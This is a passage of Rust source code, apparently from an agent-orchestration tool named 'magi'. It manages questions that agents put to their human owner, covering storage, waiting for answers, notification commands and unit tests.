1613 Ok(self.with_repair_choice(q))
1614 }
1615
1616 fn with_repair_choice(&self, mut q: Question) -> Question {
1617 if q.status.open()
1620 && q.merge_target.is_none()
1621 && let Some(home) = self.root.parent()
1622 && let Some(target) = crate::release_watch::approval_target(home, &q)
1623 && let Ok((current, ())) = self.update(&q.id, |current| {
1624 if current.status.open() && current.merge_target.is_none() {
1625 current.merge_target = Some(target.clone());
1626 }
1627 Ok(())
1628 })
1629 {
1630 q = current;
1631 }
1632 if q.status.open()
1637 && q.routed_task.is_some()
1638 && !crate::task_chat::chat_routable(&q)
1639 && let Ok((current, ())) =
1640 self.update(&q.id, |current| {
1641 if current.status.open() && !crate::task_chat::chat_routable(current) {
1642 if current.consult.as_ref().is_some_and(|c| {
1643 current.routed_chat.as_deref() == Some(c.talk.as_str())
1644 }) {
1645 current.consult = None;
1646 }
1647 current.routed_task = None;
1648 current.routed_chat = None;
1649 }
1650 Ok(())
1651 })
1652 {
1653 q = current;
1654 }
1655 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1656 && q.node == crate::land::APPROVAL_NODE
1657 && let Some(home) = self.root.parent()
1658 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1659 {
1660 let mut upgraded = q.clone();
1661 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1662 match self.update(&q.id, |current| {
1663 crate::land::upgrade_repair_choice(current, &state);
1664 Ok(())
1665 }) {
1666 Ok((current, ())) => return current,
1667 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1668 }
1669 }
1670 }
1671 q
1672 }
1673
1674 pub fn list(&self) -> Vec<Question> {
1682 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1683 .into_iter()
1684 .flatten()
1685 .flatten()
1686 .map(|e| e.path())
1687 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1688 .filter_map(|p| read_path(&p).ok())
1689 .map(|q| self.with_repair_choice(q))
1690 .collect();
1691 all.sort_unstable_by(|a, b| {
1692 let rank = |q: &Question| u8::from(!q.status.open());
1693 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1694 });
1695 all
1696 }
1697
1698 pub fn open_for(&self, run: &str) -> Vec<Question> {
1704 self.list()
1705 .into_iter()
1706 .filter(|q| q.status.open() && q.run == run)
1707 .collect()
1708 }
1709
1710 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1723 let mut abandoned = 0;
1724 for mut q in self.open_for(run) {
1725 q.abandon(why);
1726 self.put(&mut q)?;
1727 abandoned += 1;
1728 }
1729 Ok(abandoned)
1730 }
1731
1732 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1756 if status.resumable() {
1757 return Ok(0);
1758 }
1759 let why = format!(
1760 "run {run} {}, so nothing is waiting for this answer",
1761 status.as_str()
1762 );
1763 let mut abandoned = 0;
1768 for mut q in self.open_for(run) {
1769 if q.node == crate::bump::NOTICE_NODE {
1770 continue;
1771 }
1772 if q.routed_task.is_some() && q.routed_chat.is_none() {
1776 continue;
1777 }
1778 q.abandon(&why);
1779 self.put(&mut q)?;
1780 abandoned += 1;
1781 }
1782 Ok(abandoned)
1783 }
1784
1785 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1788 use crate::queue::{Reference, record_ids, resolve_reference};
1789 let ids = record_ids(&self.root, "json")?;
1790 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1791 Reference::Found(id) => Ok(id),
1792 Reference::Missing => bail!("no question matches `{prefix}`"),
1793 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1794 }
1795 }
1796
1797 pub fn revision(&self) -> u64 {
1801 std::fs::read_dir(&self.root)
1802 .into_iter()
1803 .flatten()
1804 .flatten()
1805 .filter_map(|e| e.metadata().ok())
1806 .filter_map(|m| m.modified().ok())
1807 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1808 .map(|d| d.as_millis() as u64)
1809 .max()
1810 .unwrap_or(0)
1811 }
1812
1813 pub fn count_open(&self) -> usize {
1819 self.list().iter().filter(|q| q.status.open()).count()
1820 }
1821
1822 pub fn count_needs_owner(&self) -> usize {
1831 self.list()
1832 .iter()
1833 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1834 .count()
1835 }
1836
1837 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1841 q.status.open()
1842 && q.deputy
1843 .as_ref()
1844 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1845 && !self
1846 .read_lease(&q.id)
1847 .is_some_and(|l| l.fresh(Timestamp::now()))
1848 }
1849}
1850
1851#[derive(Debug, Clone, PartialEq, Eq)]
1853pub enum Wait {
1854 Answered(String),
1856 Replied(String),
1861 Pending,
1868 Abandoned,
1873}
1874
1875pub async fn ask_and_wait(
1882 q: &mut Question,
1883 store: &Questions,
1884 notify: &config::Notify,
1885 timeout: Duration,
1886) -> Result<Wait> {
1887 wait_for_owner(q, store, notify, timeout, POLL).await
1888}
1889
1890pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1905 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1906}
1907
1908async fn wait_for_owner(
1914 q: &mut Question,
1915 store: &Questions,
1916 cfg: &config::Notify,
1917 timeout: Duration,
1918 poll: Duration,
1919) -> Result<Wait> {
1920 if !store.path_of(&q.id).is_file() {
1924 store.put(q).context("file the question")?;
1925 }
1926 if q.should_notify(Timestamp::now()) {
1927 if let Err(e) = notify(cfg, q).await {
1928 tracing::warn!(
1933 "could not notify about question {}: {e:#} - the web UI is the \
1934 only surface for it now",
1935 q.short()
1936 );
1937 }
1938 }
1939 tracing::info!(
1940 "question {} from {} is waiting for you: {}",
1941 q.short(),
1942 q.seat,
1943 q.summary
1944 );
1945 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1946}
1947
1948fn hold(store: &Questions, id: &str) {
1950 store.beat(id, WaiterKind::Asker);
1951 let took = store.update(id, |q| {
1952 if q.status.open() {
1953 q.waiter = Some(Waiter {
1954 kind: WaiterKind::Asker,
1955 since: Timestamp::now(),
1956 });
1957 }
1958 Ok(())
1959 });
1960 if let Err(e) = took {
1961 tracing::debug!("could not note the wait on question {id}: {e:#}");
1962 }
1963}
1964
1965pub fn hand_over(store: &Questions, q: &mut Question) {
1973 let done = store.update(&q.id, |r| {
1974 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1975 if r.status == QuestionStatus::Answered {
1976 r.answer_delivered = true;
1977 }
1978 r.waiter = None;
1979 Ok(())
1980 });
1981 match done {
1982 Ok((fresh, ())) => *q = fresh,
1983 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1984 }
1985}
1986
1987pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1991 let says = q.undelivered_owner_turns();
1992 if says.is_empty() {
1993 return answer.to_owned();
1994 }
1995 format!(
1996 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1997 says.join("\n\n")
1998 )
1999}
2000
2001pub fn deliver_answer(
2004 store: &Questions,
2005 q: &mut Question,
2006 answer: &str,
2007 out: &mut impl std::io::Write,
2008) -> std::io::Result<()> {
2009 writeln!(out, "{}", answer_for_agent(q, answer))?;
2010 out.flush()?;
2011 hand_over(store, q);
2012 Ok(())
2013}
2014
2015async fn wait_loop(
2025 q: &mut Question,
2026 store: &Questions,
2027 timeout: Duration,
2028 slice: Duration,
2029 poll: Duration,
2030) -> Result<Wait> {
2031 if let Some(said) = q.unread_from_owner() {
2041 return Ok(Wait::Replied(said));
2042 }
2043 hold(store, &q.id);
2044
2045 let bounded = timeout.min(slice);
2046 let is_the_real_deadline = bounded >= timeout;
2047 let deadline = tokio::time::Instant::now() + bounded;
2048 loop {
2049 let now = tokio::time::Instant::now();
2050 if now >= deadline {
2051 if !is_the_real_deadline {
2052 return Ok(Wait::Pending);
2056 }
2057 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2058 let (fresh, unread) = store
2062 .update(&q.id, |r| {
2063 let unread = r.unread_from_owner();
2064 if unread.is_none() {
2065 r.abandon(&why);
2066 r.waiter = None;
2067 }
2068 Ok(unread)
2069 })
2070 .context("record the abandoned question")?;
2071 *q = fresh;
2072 if let Some(said) = unread {
2073 return Ok(Wait::Replied(said));
2074 }
2075 tracing::warn!(
2076 "question {} went unanswered for {}s; the run parks and the \
2077 question stays as the record of it",
2078 q.short(),
2079 timeout.as_secs()
2080 );
2081 return Ok(Wait::Abandoned);
2082 }
2083 tokio::time::sleep(poll.min(deadline - now)).await;
2084 store.beat(&q.id, WaiterKind::Asker);
2085 match store.get(&q.id) {
2086 Ok(fresh) if !fresh.status.open() => {
2087 *q = fresh;
2091 return Ok(match q.resolution() {
2092 Some(a) => Wait::Answered(a),
2093 None => Wait::Abandoned,
2096 });
2097 }
2098 Ok(fresh) => {
2099 if let Some(said) = fresh.unread_from_owner() {
2100 *q = fresh;
2101 return Ok(Wait::Replied(said));
2102 }
2103 }
2106 Err(e) => {
2107 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2111 }
2112 }
2113 }
2114}
2115
2116pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2127 if q.routed_task.is_some() {
2128 return Ok(());
2129 }
2130 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2131 if q.status.open() {
2132 summary.push_str(&format!(
2133 " Respond in Questions or with `magi answer {}`.",
2134 q.id
2135 ));
2136 }
2137 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2138 notify_at(cmd, &q.run, &summary, &url).await
2139}
2140
2141pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2144 let url = view_url(
2145 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2146 "notifications",
2147 );
2148 notify_at(cmd, run, summary, &url).await
2149}
2150
2151async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2152 let Some((program, args)) = cmd.command.split_first() else {
2153 return Ok(());
2155 };
2156 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2157 tracing::warn!(
2158 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2159 so the link will be empty - export it next to `magi serve` with \
2160 the address `magi web --open` printed"
2161 );
2162 }
2163 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2164 tracing::debug!(program = %program, args = ?argv, "notifying");
2165
2166 let mut child = tokio::process::Command::new(program);
2167 child.quiet();
2168 child
2169 .args(&argv)
2170 .stdin(std::process::Stdio::null())
2171 .kill_on_drop(true);
2174 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2175 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2176 Err(_) => bail!(
2177 "notification command `{program}` did not finish within {}s",
2178 NOTIFY_TIMEOUT.as_secs()
2179 ),
2180 };
2181 if !out.status.success() {
2182 let stderr = String::from_utf8_lossy(&out.stderr);
2183 let why = stderr
2184 .lines()
2185 .rev()
2186 .find(|l| !l.trim().is_empty())
2187 .unwrap_or("no output on stderr")
2188 .trim();
2189 bail!(
2190 "notification command `{program}` exited with {}: {why}",
2191 out.status
2192 );
2193 }
2194 Ok(())
2195}
2196
2197fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2203 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2204 let mut out = String::with_capacity(template.len());
2205 let mut rest = template;
2206 while let Some(at) = rest.find('{') {
2207 out.push_str(&rest[..at]);
2208 let tail = &rest[at..];
2209 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2210 Some((token, value)) => {
2211 out.push_str(value);
2212 rest = &tail[token.len()..];
2213 }
2214 None => {
2215 out.push('{');
2217 rest = &tail[1..];
2218 }
2219 }
2220 }
2221 out.push_str(rest);
2222 out
2223}
2224
2225fn question_url(base: &str) -> String {
2232 view_url(base, "questions")
2233}
2234
2235fn view_url(base: &str, view: &str) -> String {
2236 let base = base.trim().trim_end_matches('/');
2237 if base.is_empty() || base.contains('#') {
2238 return base.to_owned();
2239 }
2240 format!("{base}/#/{view}")
2241}
2242
2243fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2248 let index = dir.join(PANEL_HTML);
2249 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2250 for (name, src) in assets {
2251 let dst = dir.join(name);
2252 std::fs::copy(src, &dst)
2253 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2254 }
2255 Ok(())
2256}
2257
2258fn clear_dir(path: &Path) -> Result<()> {
2263 match std::fs::remove_dir_all(path) {
2264 Ok(()) => Ok(()),
2265 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2266 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2267 }
2268}
2269
2270fn read_path(path: &Path) -> Result<Question> {
2271 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2272 let q: Question =
2273 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2274 if q.schema > SCHEMA {
2275 bail!(
2280 "question {} was written by a newer magi (schema {}, this build \
2281 only speaks up to {SCHEMA})",
2282 q.id,
2283 q.schema
2284 );
2285 }
2286 Ok(q)
2287}
2288
2289pub fn short_id(id: &str) -> &str {
2291 short(id)
2292}
2293
2294fn short(id: &str) -> &str {
2295 id.split('-').next_back().unwrap_or(id)
2296}
2297
2298fn new_id() -> String {
2299 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2300 new_id_at(&stamp.to_string(), crate::rng::entropy())
2301}
2302
2303fn new_id_at(stamp: &str, seed: u64) -> String {
2304 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2309 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2310 format!(
2311 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2312 (seed ^ (seed >> 32)) & 0xffff
2313 )
2314}
2315
2316#[cfg(test)]
2317mod tests {
2318 use super::*;
2319
2320 fn store() -> (tempfile::TempDir, Questions) {
2323 let dir = tempfile::tempdir().unwrap();
2324 let s = Questions::at(dir.path().join("questions"));
2325 (dir, s)
2326 }
2327
2328 #[test]
2329 fn run_names_task_only_for_task_questions() {
2330 for (node, want) in [
2331 (crate::conduct::NODE, true),
2332 (crate::triage::NODE, true),
2333 (crate::triage::DEPS_NODE, true),
2334 (crate::land::APPROVAL_NODE, false),
2335 (crate::bump::NOTICE_NODE, false),
2336 ("implement", false),
2337 ] {
2338 let mut q = choice_question();
2339 q.node = node.to_owned();
2340 assert_eq!(q.run_names_task(), want, "{node}");
2341 }
2342 }
2343
2344 #[test]
2345 fn deleting_a_run_stops_its_questions_asking() {
2346 let (_dir, store) = store();
2347
2348 let mut open_one = choice_question();
2349 store.put(&mut open_one).unwrap();
2350 let mut answered = free_question();
2351 answered
2352 .answer(Answer::Text("keep this".to_owned()))
2353 .unwrap();
2354 store.put(&mut answered).unwrap();
2355 let mut elsewhere = choice_question();
2356 elsewhere.run = "20260903-105039-3cbf".to_owned();
2357 store.put(&mut elsewhere).unwrap();
2358
2359 let n = store
2360 .abandon_for_run(&open_one.run, "run was deleted")
2361 .unwrap();
2362 assert_eq!(n, 1, "only the open question of that run");
2363
2364 let back = store.get(&open_one.id).unwrap();
2365 assert!(!back.status.open(), "it no longer asks for a decision");
2366 assert!(
2367 back.detail.contains("run was deleted"),
2368 "the operator can see why: {}",
2369 back.detail
2370 );
2371
2372 let kept = store.get(&answered.id).unwrap();
2373 assert_eq!(
2374 kept.status,
2375 QuestionStatus::Answered,
2376 "an answered question is a decision on record, not something to revoke"
2377 );
2378 assert!(
2379 store.get(&elsewhere.id).unwrap().status.open(),
2380 "another run's question is untouched"
2381 );
2382 assert!(store.open_for(&open_one.run).is_empty());
2383 }
2384
2385 #[test]
2386 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2387 let (_dir, store) = store();
2388 let mut q = choice_question();
2389 store.put(&mut q).unwrap();
2390
2391 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2393 assert_eq!(n, 0);
2394 assert!(store.get(&q.id).unwrap().status.open());
2395
2396 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2399 assert_eq!(n, 1);
2400 let back = store.get(&q.id).unwrap();
2401 assert!(!back.status.open());
2402 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2403
2404 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2406 }
2407
2408 #[test]
2409 fn settle_run_keeps_an_undelivered_routed_decision() {
2410 let (_dir, store) = store();
2411 let mut q = choice_question();
2412 q.routed_task = Some("task".into());
2413 store.put(&mut q).unwrap();
2414 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2415 assert!(store.get(&q.id).unwrap().status.open());
2416
2417 store
2419 .update(&q.id, |r| {
2420 r.routed_chat = Some("chat".into());
2421 Ok(())
2422 })
2423 .unwrap();
2424 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2425 }
2426
2427 fn choice_question() -> Question {
2428 Question::new(
2429 "20260902-201256-9fb7".to_owned(),
2430 "implement".to_owned(),
2431 "impl-A".to_owned(),
2432 "Which storage backend should the cache use?".to_owned(),
2433 "Both are already dependencies.".to_owned(),
2434 vec!["SQLite".to_owned(), "Redis".to_owned()],
2435 )
2436 }
2437
2438 fn free_question() -> Question {
2439 Question::new(
2440 "20260902-201256-9fb7".to_owned(),
2441 "review".to_owned(),
2442 "rev-1".to_owned(),
2443 "What should the error message say?".to_owned(),
2444 String::new(),
2445 Vec::new(),
2446 )
2447 }
2448
2449 fn quiet() -> config::Notify {
2451 config::Notify::default()
2452 }
2453
2454 #[test]
2455 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2456 let mut q = choice_question();
2460 q.id = "20260902-231501-ab12".to_owned();
2461 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2462 let keys: Vec<&str> = open
2466 .as_object()
2467 .unwrap()
2468 .keys()
2469 .map(String::as_str)
2470 .collect();
2471 assert_eq!(
2472 keys,
2473 [
2474 "actions",
2475 "answer",
2476 "answer_delivered",
2477 "answer_timeout",
2478 "answered_at",
2479 "asked_at",
2480 "assets",
2481 "choices",
2482 "consult",
2483 "cwd",
2484 "decision_context",
2485 "delivered_turns",
2486 "deputy",
2487 "detail",
2488 "id",
2489 "merge_target",
2490 "node",
2491 "panel",
2492 "routed_chat",
2493 "routed_task",
2494 "run",
2495 "schema",
2496 "seat",
2497 "status",
2498 "summary",
2499 "thread",
2500 "triage_generation",
2501 "waiter",
2502 ],
2503 "the on-disk field set is a contract with the front end"
2504 );
2505 assert_eq!(open["schema"], 13);
2506 assert_eq!(open["merge_target"], serde_json::Value::Null);
2507 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2508 assert_eq!(open["thread"], serde_json::json!([]));
2509 assert_eq!(open["id"], "20260902-231501-ab12");
2510 assert_eq!(open["run"], "20260902-201256-9fb7");
2511 assert_eq!(open["node"], "implement");
2512 assert_eq!(open["seat"], "impl-A");
2513 assert_eq!(open["status"], "open");
2514 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2515 assert_eq!(open["answered_at"], serde_json::Value::Null);
2516 assert_eq!(open["answer"], serde_json::Value::Null);
2517 let asked = open["asked_at"].as_str().unwrap();
2518 assert!(
2519 asked.ends_with('Z') && asked.contains('T'),
2520 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2521 );
2522
2523 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2525 let answered = serde_json::to_value(&q).unwrap();
2526 assert_eq!(answered["status"], "answered");
2527 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2528 assert!(answered["answered_at"].is_string());
2529
2530 let mut free = free_question();
2532 free.answer(Answer::Text("Say which file it was".to_owned()))
2533 .unwrap();
2534 assert_eq!(
2535 serde_json::to_value(&free).unwrap()["answer"],
2536 serde_json::json!({"text": "Say which file it was"})
2537 );
2538
2539 let body = serde_json::to_string(&q).unwrap();
2541 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2542 }
2543
2544 #[test]
2545 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2546 let (_dir, store) = store();
2547 let mut q = approval_question();
2548 q.merge_target = Some(crate::merge_decision::Target {
2549 pr: "https://github.com/example/repo/pull/42".into(),
2550 head: "reviewed-head".into(),
2551 language: "ja".into(),
2552 });
2553 store.put(&mut q).unwrap();
2554 let saved = store.get(&q.id).unwrap();
2555 assert_eq!(saved, q);
2556 let mut body = serde_json::to_value(&saved).unwrap();
2557 assert_eq!(body["schema"], 13);
2558 assert_eq!(
2559 body["merge_target"],
2560 serde_json::json!({
2561 "pr": "https://github.com/example/repo/pull/42",
2562 "head": "reviewed-head",
2563 "language": "ja"
2564 })
2565 );
2566
2567 body["schema"] = serde_json::json!(10);
2570 body.as_object_mut().unwrap().remove("merge_target");
2571 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2572 let legacy = store.get(&q.id).unwrap();
2573 assert_eq!(legacy.schema, 10);
2574 assert!(legacy.merge_target.is_none());
2575 assert_eq!(legacy.choices, q.choices);
2576 assert_eq!(legacy.status, q.status);
2577 }
2578
2579 #[test]
2580 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2581 let mut unoffered = choice_question();
2584 let a = unoffered
2585 .answer(Answer::Choice("Postgres".to_owned()))
2586 .unwrap_err()
2587 .to_string();
2588
2589 let mut typed = choice_question();
2590 let b = typed
2591 .answer(Answer::Text("use Postgres".to_owned()))
2592 .unwrap_err()
2593 .to_string();
2594
2595 let mut blank = free_question();
2596 let c = blank
2597 .answer(Answer::Text(" \n".to_owned()))
2598 .unwrap_err()
2599 .to_string();
2600
2601 let mut twice = choice_question();
2602 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2603 let d = twice
2604 .answer(Answer::Choice("Redis".to_owned()))
2605 .unwrap_err()
2606 .to_string();
2607
2608 assert!(a.contains("not one of the choices"), "{a}");
2609 assert!(b.contains("multiple choice"), "{b}");
2610 assert!(c.contains("empty"), "{c}");
2611 assert!(d.contains("already answered"), "{d}");
2612 let mut distinct = vec![a, b, c, d];
2613 let asked = distinct.len();
2614 distinct.sort_unstable();
2615 distinct.dedup();
2616 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2617
2618 assert_eq!(unoffered.status, QuestionStatus::Open);
2620 assert_eq!(typed.status, QuestionStatus::Open);
2621 assert_eq!(blank.status, QuestionStatus::Open);
2622 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2624
2625 let mut free = free_question();
2627 let e = free
2628 .answer(Answer::Choice("SQLite".to_owned()))
2629 .unwrap_err()
2630 .to_string();
2631 assert!(e.contains("free text"), "{e}");
2632 }
2633
2634 #[test]
2635 fn open_questions_are_listed_before_answered_ones() {
2636 let (_dir, s) = store();
2637 let mut old_open = choice_question();
2640 old_open.id = "20260101-000001-aaaa".to_owned();
2641 let mut new_open = choice_question();
2642 new_open.id = "20260101-000002-bbbb".to_owned();
2643 let mut answered = choice_question();
2644 answered.id = "20260101-000003-cccc".to_owned();
2645 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2646 for q in [&mut old_open, &mut new_open, &mut answered] {
2647 s.put(q).unwrap();
2648 }
2649
2650 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2651 assert_eq!(
2652 ids,
2653 [
2654 "20260101-000002-bbbb",
2655 "20260101-000001-aaaa",
2656 "20260101-000003-cccc"
2657 ],
2658 "what has stopped work comes first; history sorts underneath"
2659 );
2660 assert_eq!(s.count_open(), 2);
2661 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2662 assert!(s.open_for("some-other-run").is_empty());
2663 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2665 assert!(s.get("20260101-000002-bbbb").is_ok());
2666 assert!(s.resolve_id("nope").is_err());
2667 assert!(
2668 s.revision() > 0,
2669 "the store's mtime drives the phone's polling"
2670 );
2671 }
2672
2673 #[test]
2674 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2675 let (_dir, s) = store();
2676 let mut good = choice_question();
2677 s.put(&mut good).unwrap();
2678 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2680 let future = serde_json::json!({
2681 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2682 "seat": "s", "summary": "?", "detail": "", "choices": [],
2683 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2684 "answered_at": null, "answer": null,
2685 });
2686 std::fs::write(
2687 s.path_of("20260101-000010-beef"),
2688 serde_json::to_string(&future).unwrap(),
2689 )
2690 .unwrap();
2691
2692 let listed = s.list();
2693 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2694 assert_eq!(listed[0].id, good.id);
2695 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2697 assert!(e.contains("schema"), "{e}");
2698 }
2699
2700 #[tokio::test]
2701 async fn the_wait_returns_the_answer_another_process_wrote() {
2702 let (dir, s) = store();
2707 let mut q = choice_question();
2708 let id = q.id.clone();
2709 let writer = Questions::at(dir.path().join("questions"));
2710 let handle = tokio::spawn(async move {
2711 tokio::time::sleep(Duration::from_millis(30)).await;
2712 let mut fresh = writer.get(&id).expect("the question was filed first");
2713 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2714 writer.put(&mut fresh).unwrap();
2715 });
2716
2717 let got = wait_for_owner(
2718 &mut q,
2719 &s,
2720 &quiet(),
2721 Duration::from_secs(5),
2722 Duration::from_millis(10),
2723 )
2724 .await
2725 .unwrap();
2726
2727 handle.await.unwrap();
2728 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2729 assert_eq!(
2730 q.status,
2731 QuestionStatus::Answered,
2732 "the caller's copy is refreshed from the answering process's record"
2733 );
2734 assert!(q.answered_at.is_some());
2735 }
2736
2737 #[tokio::test]
2738 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2739 let (_dir, s) = store();
2740 let mut q = choice_question();
2741
2742 let got = wait_for_owner(
2743 &mut q,
2744 &s,
2745 &quiet(),
2746 Duration::from_millis(60),
2747 Duration::from_millis(10),
2748 )
2749 .await
2750 .unwrap();
2751
2752 assert_eq!(
2753 got,
2754 Wait::Abandoned,
2755 "a slow human is not an error; the run parks"
2756 );
2757 assert_eq!(q.status, QuestionStatus::Abandoned);
2758 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2759 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2760 assert!(
2761 on_disk.detail.contains("Abandoned:"),
2762 "why nobody answered belongs with the question: {}",
2763 on_disk.detail
2764 );
2765 assert!(on_disk.resolution().is_none());
2766 assert_eq!(s.count_open(), 0);
2767 }
2768
2769 #[tokio::test]
2770 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2771 let (_dir, s) = store();
2776 let mut q = choice_question();
2777 s.put(&mut q).unwrap();
2778
2779 let got = wait_loop(
2780 &mut q,
2781 &s,
2782 Duration::from_secs(3600),
2783 Duration::from_millis(30),
2784 Duration::from_millis(10),
2785 )
2786 .await
2787 .unwrap();
2788
2789 assert_eq!(
2790 got,
2791 Wait::Pending,
2792 "the clock on this call ran out, not the owner's patience"
2793 );
2794 assert_eq!(
2795 q.status,
2796 QuestionStatus::Open,
2797 "a slice expiring must never abandon the question"
2798 );
2799 let on_disk = s.get(&q.id).expect("still on disk, still open");
2800 assert_eq!(
2801 on_disk.status,
2802 QuestionStatus::Open,
2803 "nothing about the record changed just because this call gave up"
2804 );
2805 }
2806
2807 #[tokio::test]
2808 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2809 let (dir, s) = store();
2814 let mut q = choice_question();
2815 s.put(&mut q).unwrap();
2816
2817 let first = wait_loop(
2818 &mut q,
2819 &s,
2820 Duration::from_secs(3600),
2821 Duration::from_millis(30),
2822 Duration::from_millis(10),
2823 )
2824 .await
2825 .unwrap();
2826 assert_eq!(first, Wait::Pending);
2827
2828 let id = q.id.clone();
2829 let writer = Questions::at(dir.path().join("questions"));
2830 let mut fresh = writer.get(&id).unwrap();
2831 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2832 writer.put(&mut fresh).unwrap();
2833
2834 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2839 .await
2840 .unwrap();
2841 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2842 assert_eq!(q.status, QuestionStatus::Answered);
2843 }
2844
2845 #[tokio::test]
2846 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2847 let (dir, s) = store();
2857 let mut q = choice_question();
2858 s.put(&mut q).unwrap();
2859
2860 let first = wait_loop(
2861 &mut q,
2862 &s,
2863 Duration::from_secs(3600),
2864 Duration::from_millis(30),
2865 Duration::from_millis(10),
2866 )
2867 .await
2868 .unwrap();
2869 assert_eq!(first, Wait::Pending);
2870
2871 let id = q.id.clone();
2873 let writer = Questions::at(dir.path().join("questions"));
2874 let mut fresh = writer.get(&id).unwrap();
2875 fresh.say("why not Postgres?").unwrap();
2876 writer.put(&mut fresh).unwrap();
2877
2878 let mut resumed = s.get(&id).unwrap();
2882 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2883 .await
2884 .unwrap();
2885 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2886 assert_eq!(
2887 resumed.status,
2888 QuestionStatus::Open,
2889 "talking back is not a decision; the question stays open"
